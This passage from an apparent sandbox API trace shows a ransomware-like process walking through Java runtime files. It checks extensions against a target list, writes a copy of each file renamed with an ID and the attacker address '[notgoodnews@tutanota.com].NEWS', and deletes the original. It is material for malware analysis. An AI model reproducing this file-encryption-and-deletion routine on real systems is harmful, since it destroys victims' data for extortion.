(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.003] lstrlenW (lpString=".doc") returned 4 [0093.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.003] lstrlenW (lpString=".docx") returned 5 [0093.003] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0093.003] lstrlenW (lpString=".pdf") returned 4 [0093.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.003] lstrlenW (lpString=".xls") returned 4 [0093.003] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.003] lstrlenW (lpString=".xlsx") returned 5 [0093.003] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0093.003] lstrlenW (lpString=".ppt") returned 4 [0093.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.003] lstrlenW (lpString=".zip") returned 4 [0093.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.003] lstrlenW (lpString=".rar") returned 4 [0093.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.003] lstrlenW (lpString=".bz2") returned 4 [0093.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.003] lstrlenW (lpString=".7z") returned 3 [0093.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.003] lstrlenW (lpString=".dbf") returned 4 [0093.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.003] lstrlenW (lpString=".1cd") returned 4 [0093.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.003] lstrlenW (lpString=".jpg") returned 4 [0093.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.003] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.003] lstrlenW (lpString="ssv.dll") returned 7 [0093.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.004] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=571968) returned 1 [0093.004] CloseHandle (hObject=0x2c4) returned 1 [0093.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0093.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.004] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.004] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.005] GetLastError () returned 0x0 [0093.005] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x8ba40, lpOverlapped=0x0) returned 1 [0093.370] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x8ba50, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x8ba50, lpOverlapped=0x0) returned 1 [0093.384] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.384] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0093.384] SetEndOfFile (hFile=0x388) returned 1 [0093.510] CloseHandle (hObject=0x388) returned 1 [0093.511] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.511] SetEndOfFile (hFile=0x2c4) returned 1 [0093.516] CloseHandle (hObject=0x2c4) returned 1 [0093.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.516] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 1 [0093.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.516] lstrlenW (lpString=".doc") returned 4 [0093.516] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.516] lstrlenW (lpString=".docx") returned 5 [0093.516] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0093.516] lstrlenW (lpString=".pdf") returned 4 [0093.516] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.516] lstrlenW (lpString=".xls") returned 4 [0093.517] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString=".xlsx") returned 5 [0093.517] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0093.517] lstrlenW (lpString=".ppt") returned 4 [0093.517] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.517] lstrlenW (lpString=".zip") returned 4 [0093.517] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString=".rar") returned 4 [0093.517] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString=".bz2") returned 4 [0093.517] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.517] lstrlenW (lpString=".7z") returned 3 [0093.517] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.517] lstrlenW (lpString=".dbf") returned 4 [0093.517] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.517] lstrlenW (lpString=".1cd") returned 4 [0093.517] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.517] lstrlenW (lpString=".jpg") returned 4 [0093.517] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.517] lstrlenW (lpString=".doc") returned 4 [0093.517] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString=".docx") returned 5 [0093.517] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0093.517] lstrlenW (lpString=".pdf") returned 4 [0093.517] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString=".xls") returned 4 [0093.517] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.517] lstrlenW (lpString=".xlsx") returned 5 [0093.517] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0093.518] lstrlenW (lpString=".ppt") returned 4 [0093.518] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.518] lstrlenW (lpString=".zip") returned 4 [0093.518] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.518] lstrlenW (lpString=".rar") returned 4 [0093.518] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.518] lstrlenW (lpString=".bz2") returned 4 [0093.518] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.518] lstrlenW (lpString=".7z") returned 3 [0093.518] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.518] lstrlenW (lpString=".dbf") returned 4 [0093.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.518] lstrlenW (lpString=".1cd") returned 4 [0093.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0093.518] lstrlenW (lpString=".jpg") returned 4 [0093.518] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.518] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0093.518] lstrlenW (lpString="tnameserv.exe") returned 13 [0093.518] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.519] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=16448) returned 1 [0093.519] CloseHandle (hObject=0x2c4) returned 1 [0093.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0093.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.519] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.519] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.519] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.519] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.520] GetLastError () returned 0x0 [0093.521] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4040, lpOverlapped=0x0) returned 1 [0093.522] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4050, lpOverlapped=0x0) returned 1 [0093.523] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.523] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xee, lpOverlapped=0x0) returned 1 [0093.523] SetEndOfFile (hFile=0x388) returned 1 [0093.523] CloseHandle (hObject=0x388) returned 1 [0093.524] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.524] SetEndOfFile (hFile=0x2c4) returned 1 [0093.524] CloseHandle (hObject=0x2c4) returned 1 [0093.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.525] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1 [0093.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.525] lstrlenW (lpString=".doc") returned 4 [0093.525] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.525] lstrlenW (lpString=".docx") returned 5 [0093.525] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0093.525] lstrlenW (lpString=".pdf") returned 4 [0093.525] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.525] lstrlenW (lpString=".xls") returned 4 [0093.525] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.525] lstrlenW (lpString=".xlsx") returned 5 [0093.525] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0093.525] lstrlenW (lpString=".ppt") returned 4 [0093.525] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.525] lstrlenW (lpString=".zip") returned 4 [0093.525] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.525] lstrlenW (lpString=".rar") returned 4 [0093.525] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.525] lstrlenW (lpString=".bz2") returned 4 [0093.526] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.526] lstrlenW (lpString=".7z") returned 3 [0093.526] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.526] lstrlenW (lpString=".dbf") returned 4 [0093.526] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.526] lstrlenW (lpString=".1cd") returned 4 [0093.526] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.526] lstrlenW (lpString=".jpg") returned 4 [0093.526] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.526] lstrlenW (lpString=".doc") returned 4 [0093.526] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.526] lstrlenW (lpString=".docx") returned 5 [0093.526] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0093.526] lstrlenW (lpString=".pdf") returned 4 [0093.526] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.526] lstrlenW (lpString=".xls") returned 4 [0093.526] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.526] lstrlenW (lpString=".xlsx") returned 5 [0093.526] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0093.526] lstrlenW (lpString=".ppt") returned 4 [0093.526] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.526] lstrlenW (lpString=".zip") returned 4 [0093.526] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.526] lstrlenW (lpString=".rar") returned 4 [0093.527] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.527] lstrlenW (lpString=".bz2") returned 4 [0093.527] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.527] lstrlenW (lpString=".7z") returned 3 [0093.527] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.527] lstrlenW (lpString=".dbf") returned 4 [0093.527] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.527] lstrlenW (lpString=".1cd") returned 4 [0093.527] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0093.527] lstrlenW (lpString=".jpg") returned 4 [0093.527] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.527] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.527] lstrlenW (lpString="unpack.dll") returned 10 [0093.527] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.527] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=79936) returned 1 [0093.528] CloseHandle (hObject=0x2c4) returned 1 [0093.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0093.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.528] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.528] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.528] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.528] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.528] GetLastError () returned 0x0 [0093.528] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x13840, lpOverlapped=0x0) returned 1 [0093.531] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x13850, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13850, lpOverlapped=0x0) returned 1 [0093.533] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.533] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0093.533] SetEndOfFile (hFile=0x388) returned 1 [0093.533] CloseHandle (hObject=0x388) returned 1 [0093.533] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.533] SetEndOfFile (hFile=0x2c4) returned 1 [0093.534] CloseHandle (hObject=0x2c4) returned 1 [0093.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.535] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 1 [0093.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.535] lstrlenW (lpString=".doc") returned 4 [0093.535] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.535] lstrlenW (lpString=".docx") returned 5 [0093.535] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0093.535] lstrlenW (lpString=".pdf") returned 4 [0093.535] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.535] lstrlenW (lpString=".xls") returned 4 [0093.535] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.535] lstrlenW (lpString=".xlsx") returned 5 [0093.535] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0093.535] lstrlenW (lpString=".ppt") returned 4 [0093.535] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.535] lstrlenW (lpString=".zip") returned 4 [0093.535] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.535] lstrlenW (lpString=".rar") returned 4 [0093.535] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.535] lstrlenW (lpString=".bz2") returned 4 [0093.535] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.535] lstrlenW (lpString=".7z") returned 3 [0093.535] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.536] lstrlenW (lpString=".dbf") returned 4 [0093.536] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.536] lstrlenW (lpString=".1cd") returned 4 [0093.536] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.536] lstrlenW (lpString=".jpg") returned 4 [0093.536] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.536] lstrlenW (lpString=".doc") returned 4 [0093.536] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.536] lstrlenW (lpString=".docx") returned 5 [0093.536] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0093.536] lstrlenW (lpString=".pdf") returned 4 [0093.536] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.536] lstrlenW (lpString=".xls") returned 4 [0093.536] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.536] lstrlenW (lpString=".xlsx") returned 5 [0093.536] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0093.536] lstrlenW (lpString=".ppt") returned 4 [0093.536] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.536] lstrlenW (lpString=".zip") returned 4 [0093.536] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.536] lstrlenW (lpString=".rar") returned 4 [0093.536] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.536] lstrlenW (lpString=".bz2") returned 4 [0093.536] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.536] lstrlenW (lpString=".7z") returned 3 [0093.536] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.536] lstrlenW (lpString=".dbf") returned 4 [0093.536] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.536] lstrlenW (lpString="C:\\Program 